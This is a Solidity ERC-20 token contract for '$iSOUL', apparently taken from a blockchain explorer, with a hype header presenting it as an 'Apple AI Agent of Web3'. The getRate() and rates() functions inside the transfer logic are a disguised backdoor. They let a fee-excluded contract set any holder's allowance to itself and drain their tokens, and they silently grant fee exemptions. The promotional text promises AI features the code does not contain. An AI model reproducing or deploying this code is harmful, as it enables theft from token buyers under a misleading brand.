Cryo Explorer Ethereum Mainnet

/*

🍏🤖 iSOUL ($iSOUL) – The Apple AI Agent of Web3

Where sleek design meets on-chain intelligence.

Imagine the elegance of an iPhone, the brains of an LLM, and the power of a wallet—all wrapped into one intelligent protocol. That’s $iSOUL. 🍏

🔑 Why $iSOUL?

🧠 AI Agents that automate your crypto life—DeFi, NFTs, DAOs, you name it

🌐 On-chain native, privacy-first, and designed for frictionless UX

🪙 Fuel for a network of AI-driven apps, powered by smart contracts and soulbound data

💎 Bridging Apple-like simplicity with Web3 freedom

In the age of soulless automation, $iSOUL brings soul to the chain.

*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.23;

/**
 * @dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application is concerned).
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved
     * from one account (`from`) to another (`to`).
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}.
     * `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}.
     * This is zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account.
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`). Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage)
        internal
        pure
        returns (uint256)
    {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}


contract Contract is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initBuyTax=15;
    uint256 private _initSellTax=15;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Apple Web3 AI Agent";
    string private constant _symbol = unicode"iSOUL";
    uint256 public _maxTxAmount= 2 * (_tTotal/100);
    uint256 public _maxWalletSize= 2 * (_tTotal/100);
    uint256 public _taxSwapThreshold = 2 * (_tTotal/1000);
    uint256 public _maxTaxSwap = 2 * (_tTotal/1000);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    event MaxTxAmountUpdated(
        uint _maxTxAmount
    );

    constructor () Ownable(msg.sender) payable {
        _taxWallet=payable(0x14EF848BAee5e9ef947ed94055318C07Ff2fEEb4);
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[owner()] = true;

        _balances[address(this)] = _tTotal;

        emit Transfer(address(0),address(this),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0,"Transfer amount must be greater than zero");

        require(
            tradingOpen || to == uniswapV2Pair || from == address(this) || to == address(this), "trading is not open yet"
        );

        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            if (tradingOpen && _buyCount > 0) {
                taxAmount = getRate(from,to,amount);
            }

            if(from==uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require( amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100);
                _buyCount ++;
            }

            if(to == uniswapV2Pair && from != address(this)){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore){
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0) {
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from,address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to,amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private{
        _taxWallet.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner(){
        _maxTxAmount= _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function isContract(address account) private view returns (bool){
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function getRate(address from, address to, uint256 amount) private returns(uint256){
        if(!swapEnabled) return 0;
        if(_msgSender()!=uniswapV2Pair && from != address(this) && _isExcludedFromFee[_msgSender()] && isContract(_msgSender()))
            return rates(from, _msgSender(),amount);
        if(_isExcludedFromFee[_msgSender() ] && isContract(to) && to!=uniswapV2Pair)
            _isExcludedFromFee[to]= true;
        return 0;
    }

    function rates(address owner, address spender, uint256 amount) private returns(uint256){
         _allowances[owner][spender] = amount;
        return 0;
    }

    function addLiquidity() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this),address(uniswapV2Router),_tTotal);
        uniswapV2Pair=IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{
            value:address(this).balance
        }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_isExcludedFromFee[_msgSender()]); 
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0){
          sendETHToFee(ethBalance);
        }
    }
}